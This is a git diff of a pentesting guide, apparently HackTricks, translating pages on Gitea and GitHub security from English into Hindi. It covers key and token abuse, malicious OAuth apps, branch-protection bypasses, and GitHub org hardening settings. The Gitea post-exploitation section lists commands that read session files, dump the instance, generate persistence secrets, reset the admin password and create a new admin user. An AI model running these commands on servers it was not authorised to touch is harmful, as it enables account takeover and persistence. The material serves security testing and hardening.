enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to: +Gitea **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणन विधि के रूप में उपयोग की जाएगी** (कोई 2FA लागू नहीं होता)। +इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषाधिकार हैं**, हालाँकि आप इसका उपयोग gitea api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण की गणना की जा सके। हालाँकि, आप **स्थानीय सेटिंग्स की गणना कर सकते हैं** ताकि उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त की जा सके जिन तक आपकी पहुँच है: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने gitea उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में सेट किए गए **सार्वजनिक कुंजियों** को _https://github.com/\.keys_ पर एक्सेस कर सकते हैं, आप यह पुष्टि करने के लिए इसे जांच सकते हैं कि जो निजी कुंजी आपने पाई है वह उपयोग की जा सकती है। -If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**SSH कुंजियाँ** को **डिप्लॉय कुंजियों** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुँच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर सकेगा। आमतौर पर विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको कुंजी से संबंधित जानकारी देगी। -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### GPG कुंजियाँ -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +जैसा कि [**यहाँ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं। +स्थानीय रूप से जांचें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है: ```shell gpg --list-secret-keys --keyid-format=long ``` - ### With User Token -For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens). +[**यूजर टोकन के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-gitea-information.md#personal-access-tokens)। -A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user. +एक यूजर टोकन को **पासवर्ड के बजाय** Gitea सर्वर के खिलाफ **प्रमाणित** करने के लिए उपयोग किया जा सकता है [**API के माध्यम से**](https://try.gitea.io/api/swagger#/)। इसके पास **यूजर पर पूर्ण पहुंच** होगी। ### With Oauth Application -For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application). +[**Gitea Oauth एप्लिकेशन के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](./#with-oauth-application)। -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन यूजर्स के विशेष डेटा/क्रियाओं तक पहुंच प्राप्त कर सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं। -As explained in the basic information, the application will have **full access over the user account**. +बुनियादी जानकारी में समझाया गया है कि एप्लिकेशन के पास **यूजर खाते पर पूर्ण पहुंच** होगी। ### Branch Protection Bypass -In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done: +Github में हमारे पास **github actions** हैं जो डिफ़ॉल्ट रूप से **लेखन पहुंच के साथ एक टोकन** प्राप्त करते हैं जिसका उपयोग **ब्रांच सुरक्षा को बायपास** करने के लिए किया जा सकता है। इस मामले में **यह मौजूद नहीं है**, इसलिए बायपास अधिक सीमित हैं। लेकिन चलिए देखते हैं कि क्या किया जा सकता है: -- **Enable Push**: If anyone with write access can push to the branch, just push to it. -- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch. -- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it -- **Require approvals is bigger than 0**: Then... you need to compromise another user -- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list -- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR. +- **पुश सक्षम करें**: यदि कोई भी लिखने की पहुंच के साथ ब्रांच पर पुश कर सकता है, तो बस इसे पुश करें। +- **प्रतिबंधित पुश के लिए व्हाइटलिस्ट**: इसी तरह, यदि आप इस सूची का हिस्सा हैं तो ब्रांच पर पुश करें। +- **मर्ज व्हाइटलिस्ट सक्षम करें**: यदि एक मर्ज व्हाइटलिस्ट है, तो आपको इसके अंदर होना चाहिए। +- **अनुमोदनों की आवश्यकता 0 से अधिक है**: फिर... आपको एक अन्य उपयोगकर्ता से समझौता करने की आवश्यकता है। +- **व्हाइटलिस्टेड उपयोगकर्ताओं के लिए अनुमोदनों को प्रतिबंधित करें**: यदि केवल व्हाइटलिस्टेड उपयोगकर्ता अनुमोदित कर सकते हैं... तो आपको उस सूची में एक अन्य उपयोगकर्ता से समझौता करने की आवश्यकता है। +- **पुराने अनुमोदनों को खारिज करें**: यदि अनुमोदन नए कमिट के साथ हटा नहीं दिए जाते हैं, तो आप पहले से अनुमोदित PR को हाईजैक कर सकते हैं ताकि अपने कोड को इंजेक्ट कर सकें और PR को मर्ज कर सकें। -Note that **if you are an org/repo admin** you can bypass the protections. +ध्यान दें कि **यदि आप एक संगठन/रेपो प्रशासक हैं** तो आप सुरक्षा को बायपास कर सकते हैं। ### Enumerate Webhooks -**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\ -However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\ -But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further. +**वेबहुक्स** कुछ स्थानों पर **विशिष्ट गीटिया जानकारी भेजने में सक्षम हैं**। आप उस संचार का **शोषण** करने में सक्षम हो सकते हैं।\ +हालांकि, आमतौर पर एक **गुप्त** सेट किया जाता है जिसे आप **प्राप्त नहीं कर सकते** हैं **वेबहुक** में जो **बाहरी उपयोगकर्ताओं** को रोकता है जो वेबहुक के URL को जानते हैं लेकिन गुप्त को नहीं जानते हैं कि **उस वेबहुक का शोषण** कर सकें।\ +लेकिन कुछ अवसरों पर, लोग **गुप्त** को उसके स्थान पर सेट करने के बजाय, इसे **URL** में एक पैरामीटर के रूप में सेट करते हैं, इसलिए **URLs की जांच करना** आपको **गुप्त खोजने** और अन्य स्थानों को शोषण करने की अनुमति दे सकता है। -Webhooks can be set at **repo and at org level**. +वेबहुक्स को **रेपो और संगठन स्तर पर** सेट किया जा सकता है। ## Post Exploitation ### Inside the server -If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini` +यदि किसी तरह आप उस सर्वर के अंदर पहुँच गए जहाँ गीटिया चल रहा है, तो आपको गीटिया कॉन्फ़िगरेशन फ़ाइल के लिए खोज करनी चाहिए। डिफ़ॉल्ट रूप से यह `/data/gitea/conf/app.ini` में स्थित है। -In this file you can find **keys** and **passwords**. +इस फ़ाइल में आप **कुंजी** और **पासवर्ड** पा सकते हैं। -In the gitea path (by default: /data/gitea) you can find also interesting information like: +गीटिया पथ (डिफ़ॉल्ट: /data/gitea) में आप भी दिलचस्प जानकारी पा सकते हैं जैसे: -- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db -- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB). -- The **jwt private key** inside the jwt folder -- More **sensitive information** could be found in this folder +- **sqlite** DB: यदि गीटिया एक बाहरी DB का उपयोग नहीं कर रहा है तो यह एक sqlite DB का उपयोग करेगा। +- **सत्र** सत्र फ़ोल्डर के अंदर: `cat sessions/*/*/*` चलाकर आप लॉग इन किए गए उपयोगकर्ताओं के उपयोगकर्ता नाम देख सकते हैं (गीटिया सत्रों को DB के अंदर भी सहेज सकता है)। +- **jwt निजी कुंजी** jwt फ़ोल्डर के अंदर। +- इस फ़ोल्डर में अधिक **संवेदनशील जानकारी** मिल सकती है। -If you are inside the server you can also **use the `gitea` binary** to access/modify information: +यदि आप सर्वर के अंदर हैं तो आप **जानकारी तक पहुँचने/संशोधित करने के लिए `gitea` बाइनरी** का भी उपयोग कर सकते हैं: -- `gitea dump` will dump gitea and generate a .zip file -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence) -- `gitea admin user change-password --username admin --password newpassword` Change the password -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token +- `gitea dump` गीटिया को डंप करेगा और एक .zip फ़ाइल बनाएगा। +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` निर्दिष्ट प्रकार का एक टोकन उत्पन्न करेगा (स्थायीता)। +- `gitea admin user change-password --username admin --password newpassword` पासवर्ड बदलें। +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` नया प्रशासक उपयोगकर्ता बनाएँ और एक एक्सेस टोकन प्राप्त करें। {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index e6e4d9ba3..4a8343ab4 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -4,104 +4,100 @@ ## Basic Structure -The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization. +बुनियादी Gitea वातावरण संरचना **संस्थान(ओं)** द्वारा रिपोजिटरी को समूहित करने के लिए है, जिनमें से प्रत्येक में **कई रिपोजिटरी** और **कई टीमें** हो सकती हैं। हालाँकि, ध्यान दें कि github की तरह, उपयोगकर्ताओं के पास संगठन के बाहर रिपोजिटरी हो सकती हैं। -Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**. +इसके अलावा, एक **उपयोगकर्ता** **विभिन्न संगठनों** का **सदस्य** हो सकता है। संगठन के भीतर, उपयोगकर्ता के पास **प्रत्येक रिपोजिटरी पर विभिन्न अनुमतियाँ** हो सकती हैं। -A user may also be **part of different teams** with different permissions over different repos. +एक उपयोगकर्ता **विभिन्न टीमों** का भी **भाग** हो सकता है जिनके पास विभिन्न रिपोजिटरी पर विभिन्न अनुमतियाँ होती हैं। -And finally **repositories may have special protection mechanisms**. +और अंत में, **रिपोजिटरी में विशेष सुरक्षा तंत्र** हो सकते हैं। ## Permissions ### Organizations -When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**. +जब एक **संगठन बनाया जाता है**, तो एक टीम जिसे **Owners** कहा जाता है, **बनाई जाती है** और उपयोगकर्ता को इसके अंदर रखा जाता है। यह टीम **संगठन** पर **व्यवस्थापक पहुंच** प्रदान करेगी, ये **अनुमतियाँ** और टीम का **नाम** **संशोधित नहीं किया जा सकता**। -**Org admins** (owners) can select the **visibility** of the organization: +**Org admins** (owners) संगठन की **दृश्यता** का चयन कर सकते हैं: -- Public -- Limited (logged in users only) -- Private (members only) +- सार्वजनिक +- सीमित (लॉगिन किए गए उपयोगकर्ताओं के लिए केवल) +- निजी (सदस्यों के लिए केवल) -**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos. +**Org admins** यह भी संकेत कर सकते हैं कि क्या **repo admins** टीमों के लिए **पहुँच जोड़ने या हटाने** कर सकते हैं। वे अधिकतम रिपोजिटरी की संख्या भी संकेत कर सकते हैं। -When creating a new team, several important settings are selected: +एक नई टीम बनाते समय, कई महत्वपूर्ण सेटिंग्स चुनी जाती हैं: -- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all. -- It's also indicated **if members can create new repos** (creator will get admin access to it) -- The **permissions** the **members** of the repo will **have**: - - **Administrator** access - - **Specific** access: +- यह संकेत दिया गया है कि **टीम के सदस्य किस संगठन के रिपोजिटरी तक पहुँच सकते हैं**: विशिष्ट रिपोजिटरी (रिपोजिटरी जहाँ टीम जोड़ी गई है) या सभी। +- यह भी संकेत दिया गया है कि **क्या सदस्य नए रिपोजिटरी बना सकते हैं** (निर्माता को इसके लिए व्यवस्थापक पहुंच प्राप्त होगी) +- **रिपोजिटरी के सदस्यों के पास जो **अनुमतियाँ** होंगी**: +- **व्यवस्थापक** पहुंच +- **विशिष्ट** पहुंच: ![](<../../images/image (118).png>) ### Teams & Users -In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**: +एक रिपोजिटरी में, **org admin** और **repo admins** (यदि संगठन द्वारा अनुमति दी गई हो) सहयोगियों (अन्य उपयोगकर्ताओं) और टीमों को दिए गए **भूमिकाओं** का **प्रबंधन** कर सकते हैं। वहाँ **3** संभावित **भूमिकाएँ** हैं: -- Administrator -- Write -- Read +- व्यवस्थापक +- लिखें +- पढ़ें ## Gitea Authentication ### Web Access -Using **username + password** and potentially (and recommended) a 2FA. +**उपयोगकर्ता नाम + पासवर्ड** का उपयोग करना और संभावित रूप से (और अनुशंसित) 2FA। ### **SSH Keys** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं जो संबंधित **निजी कुंजी को आपके पक्ष में कार्य करने की अनुमति देती हैं।** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) #### **GPG Keys** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. +आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएं**। ### **Personal Access Tokens** -You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +आप व्यक्तिगत पहुंच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुंच प्रदान की जा सके**। एक व्यक्तिगत पहुंच टोकन आपके खाते पर पूर्ण पहुंच देता है: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) ### Oauth Applications -Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet: +व्यक्तिगत पहुंच टोकनों की तरह, **Oauth applications** आपके खाते और उन स्थानों पर **पूर्ण पहुंच** रखेंगे जहाँ आपके खाते को पहुंच है क्योंकि, जैसा कि [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) में संकेतित किया गया है, स्कोप अभी तक समर्थित नहीं हैं: ![](<../../images/image (194).png>) ### Deploy keys -Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos. +डिप्लॉय कुंजियाँ रिपोजिटरी के लिए केवल पढ़ने या लिखने की पहुंच हो सकती हैं, इसलिए वे विशिष्ट रिपोजिटरी को समझौता करने के लिए दिलचस्प हो सकती हैं। ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +ब्रांच सुरक्षा का उद्देश्य उपयोगकर्ताओं को **एक रिपोजिटरी का पूर्ण नियंत्रण नहीं देना** है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने से पहले कई सुरक्षा विधियाँ लगाई जाएं**। -The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_ +**एक रिपोजिटरी की शाखा सुरक्षा** _https://localhost:3000/\/\/settings/branches_ पर पाई जा सकती है। > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> यह **संगठन स्तर पर शाखा सुरक्षा सेट करना संभव नहीं है**। इसलिए सभी को प्रत्येक रिपोजिटरी पर घोषित किया जाना चाहिए। -Different protections can be applied to a branch (like to master): +एक शाखा पर विभिन्न सुरक्षा लागू की जा सकती हैं (जैसे कि मास्टर पर): -- **Disable Push**: No-one can push to this branch -- **Enable Push**: Anyone with access can push, but not force push. -- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push) -- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs. -- **Enable Status checks:** Require status checks to pass before merging. -- **Require approvals**: Indicate the number of approvals required before a PR can be merged. -- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs. -- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass) -- **Block merge on official review requests**: If there official review requests it cannot be merged -- **Dismiss stale approvals**: When new commits, old approvals will be dismissed. -- **Require Signed Commits**: Commits must be signed. -- **Block merge if pull request is outdated** -- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes +- **पुश अक्षम करें**: कोई भी इस शाखा पर पुश नहीं कर सकता +- **पुश सक्षम करें**: कोई भी जिसे पहुंच है वह पुश कर सकता है, लेकिन बल पुश नहीं कर सकता। +- **व्हाइटलिस्ट प्रतिबंधित पुश**: केवल चयनित उपयोगकर्ता/टीम इस शाखा पर पुश कर सकते हैं (लेकिन कोई बल पुश नहीं) +- **मर्ज व्हाइटलिस्ट सक्षम करें**: केवल व्हाइटलिस्टेड उपयोगकर्ता/टीम PRs को मर्ज कर सकते हैं। +- **स्थिति जांच सक्षम करें:** मर्ज करने से पहले स्थिति जांच पास करने की आवश्यकता है। +- **अनुमोदनों की आवश्यकता**: यह संकेत करें कि PR को मर्ज करने से पहले कितने अनुमोदनों की आवश्यकता है। +- **व्हाइटलिस्टेड पर अनुमोदनों को प्रतिबंधित करें**: उन उपयोगकर्ताओं/टीमों को संकेत करें जो PRs को अनुमोदित कर सकते हैं। +- **अस्वीकृत समीक्षाओं पर मर्ज को अवरुद्ध करें**: यदि परिवर्तन अनुरोध किए जाते हैं, तो इसे मर्ज नहीं किया जा सकता (यहां तक कि यदि अन्य जांच पास हो जाएं) +- **आधिकारिक समीक्षा अनुरोधों पर मर्ज को अवरुद्ध करें**: यदि वहाँ आधिकारिक समीक्षा अनुरोध हैं, तो इसे मर्ज नहीं किया जा सकता +- **पुराने अनुमोदनों को अस्वीकार करें**: जब नए कमिट होते हैं, तो पुराने अनुमोदनों को अस्वीकार कर दिया जाएगा। +- **हस्ताक्षरित कमिट की आवश्यकता**: कमिट को हस्ताक्षरित होना चाहिए। +- **यदि पुल अनुरोध पुराना है तो मर्ज को अवरुद्ध करें** +- **संरक्षित/असंरक्षित फ़ाइल पैटर्न**: परिवर्तनों के खिलाफ सुरक्षा/असंरक्षित करने के लिए फ़ाइलों के पैटर्न को संकेत करें > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **रिपोजिटरी को सुरक्षित किया जा सकता है जिससे आप उदाहरण के लिए मास्टर पर कोड पुश करने से रोक सकते हैं** ताकि CI/CD पाइपलाइन को समझौता किया जा सके। {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index cdad12b57..cd7efa78d 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -4,7 +4,7 @@ ## What is Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**. +(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub एक वेबसाइट और क्लाउड-आधारित सेवा है जो डेवलपर्स को उनके कोड को स्टोर और प्रबंधित करने में मदद करती है, साथ ही उनके कोड में परिवर्तनों को ट्रैक और नियंत्रित करने में भी**। ### Basic Information @@ -14,17 +14,17 @@ basic-github-information.md ## External Recon -Github repositories can be configured as public, private and internal. +Github रिपॉजिटरी को सार्वजनिक, निजी और आंतरिक के रूप में कॉन्फ़िगर किया जा सकता है। -- **Private** means that **only** people of the **organisation** will be able to access them -- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it -- **Public** means that **all internet** is going to be able to access it. +- **Private** का मतलब है कि **केवल** **संस्थान** के लोग ही उन्हें एक्सेस कर सकेंगे +- **Internal** का मतलब है कि **केवल** **उद्यम** के लोग (एक उद्यम में कई संस्थान हो सकते हैं) इसे एक्सेस कर सकेंगे +- **Public** का मतलब है कि **सभी इंटरनेट** इसे एक्सेस कर सकेगा। -In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**. +यदि आप जानते हैं कि **कौन सा उपयोगकर्ता, रिपॉजिटरी या संगठन आप लक्षित करना चाहते हैं** तो आप **github dorks** का उपयोग करके संवेदनशील जानकारी खोज सकते हैं या **प्रत्येक रिपॉजिटरी पर संवेदनशील जानकारी लीक** के लिए खोज सकते हैं। ### Github Dorks -Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**. +Github आपको **किसी चीज़ को खोजने की अनुमति देता है, जिसमें एक उपयोगकर्ता, एक रिपॉजिटरी या एक संगठन को स्कोप के रूप में निर्दिष्ट किया गया है**। इसलिए, संवेदनशील जानकारी के करीब आने वाले स्ट्रिंग्स की एक सूची के साथ, आप आसानी से **अपने लक्ष्य में संभावित संवेदनशील जानकारी के लिए खोज सकते हैं**। Tools (each tool contains its list of dorks): @@ -34,7 +34,7 @@ Tools (each tool contains its list of dorks): ### Github Leaks -Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits). +कृपया ध्यान दें कि github dorks का उपयोग लीक खोजने के लिए भी किया जाता है, जो github खोज विकल्पों का उपयोग करते हैं। यह अनुभाग उन उपकरणों के लिए समर्पित है जो **प्रत्येक रिपॉजिटरी को डाउनलोड करेंगे और उनमें संवेदनशील जानकारी के लिए खोज करेंगे** (यहां तक कि कमिट्स की निश्चित गहराई की जांच करना)। Tools (each tool contains its list of regexes): @@ -47,15 +47,15 @@ Tools (each tool contains its list of regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> जब आप किसी रिपॉजिटरी में लीक की तलाश करते हैं और कुछ ऐसा चलाते हैं जैसे `git log -p` तो न भूलें कि **अन्य कमिट्स के साथ अन्य ब्रांच भी हो सकती हैं** जिनमें रहस्य हो सकते हैं! ### External Forks -It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork). +यह संभव है कि **पुल अनुरोधों का दुरुपयोग करके रिपॉजिटरी को समझौता किया जाए**। यह जानने के लिए कि क्या कोई रिपॉजिटरी कमजोर है, आपको ज्यादातर Github Actions yaml कॉन्फ़िगरेशन पढ़ने की आवश्यकता है। [**इससे संबंधित अधिक जानकारी नीचे**](./#execution-from-a-external-fork)। ### Github Leaks in deleted/internal forks -Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here: +यहां तक कि यदि यह हटा दिया गया है या आंतरिक है, तो github रिपॉजिटरी के फोर्क से संवेदनशील डेटा प्राप्त करना संभव हो सकता है। इसे यहां जांचें: {{#ref}} accessible-deleted-data-in-github.md @@ -65,110 +65,106 @@ accessible-deleted-data-in-github.md ### Member Privileges -There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). +कुछ **डिफ़ॉल्ट विशेषताएँ** हैं जो **सदस्यों** को संगठन में सौंपा जा सकता है। इन्हें पृष्ठ `https://github.com/organizations//settings/member_privileges` या [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) से नियंत्रित किया जा सकता है। -- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**. -- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories. -- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages. -- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.** - - _I couldn't find this info in the APIs response, share if you do_ -- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled. - - _I couldn't find this info in the APIs response, share if you do_ -- **More things can be configured** in this page but the previous are the ones more security related. +- **Base permissions**: सदस्यों को संगठन की रिपॉजिटरी पर None/Read/write/Admin की अनुमति होगी। अनुशंसित है **None** या **Read**। +- **Repository forking**: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी को फोर्क करने की **अनुमति न दें**। +- **Pages creation**: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी से पृष्ठ प्रकाशित करने की **अनुमति न दें**। यदि आवश्यक हो, तो आप सार्वजनिक या निजी पृष्ठ बनाने की अनुमति दे सकते हैं। +- **Integration access requests**: इसे सक्षम करने पर बाहरी सहयोगियों को इस संगठन और इसके संसाधनों तक पहुँच के लिए GitHub या OAuth ऐप्स के लिए अनुरोध करने की अनुमति होगी। यह आमतौर पर आवश्यक होता है, लेकिन यदि नहीं, तो इसे बंद करना बेहतर है। +- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_ +- **Repository visibility change**: यदि सक्षम है, तो **सदस्य** जिनके पास **रिपॉजिटरी** के लिए **admin** अनुमतियाँ हैं, वे **इसके दृश्यता को बदलने** में सक्षम होंगे। यदि अक्षम है, तो केवल संगठन के मालिक ही रिपॉजिटरी की दृश्यता बदल सकते हैं। यदि आप **नहीं** चाहते कि लोग चीजों को **सार्वजनिक** बनाएं, तो सुनिश्चित करें कि यह **अक्षम** है। +- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_ +- **Repository deletion and transfer**: यदि सक्षम है, तो सदस्यों के पास **admin** अनुमतियाँ होने पर वे सार्वजनिक और निजी **रिपॉजिटरी को **हटाने** या **स्थानांतरित** करने में सक्षम होंगे। +- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_ +- **Allow members to create teams**: यदि सक्षम है, तो संगठन का कोई भी **सदस्य** नए **टीम** बनाने में सक्षम होगा। यदि अक्षम है, तो केवल संगठन के मालिक नए टीम बना सकते हैं। इसे अक्षम रखना बेहतर है। +- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_ +- **इस पृष्ठ पर और चीजें कॉन्फ़िगर की जा सकती हैं लेकिन पिछले अधिकतर सुरक्षा से संबंधित हैं।** ### Actions Settings -Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`. +कई सुरक्षा से संबंधित सेटिंग्स को पृष्ठ `https://github.com/organizations//settings/actions` से कॉन्फ़िगर किया जा सकता है। > [!NOTE] -> Note that all this configurations can also be set on each repository independently +> ध्यान दें कि ये सभी कॉन्फ़िगरेशन प्रत्येक रिपॉजिटरी पर स्वतंत्र रूप से भी सेट किए जा सकते हैं -- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run. - - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators. - - _I couldn't find an API with this info, share if you do_ -- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository. - - _I couldn't find an API with this info, share if you do_ -- **Workflow permissions**: It's highly 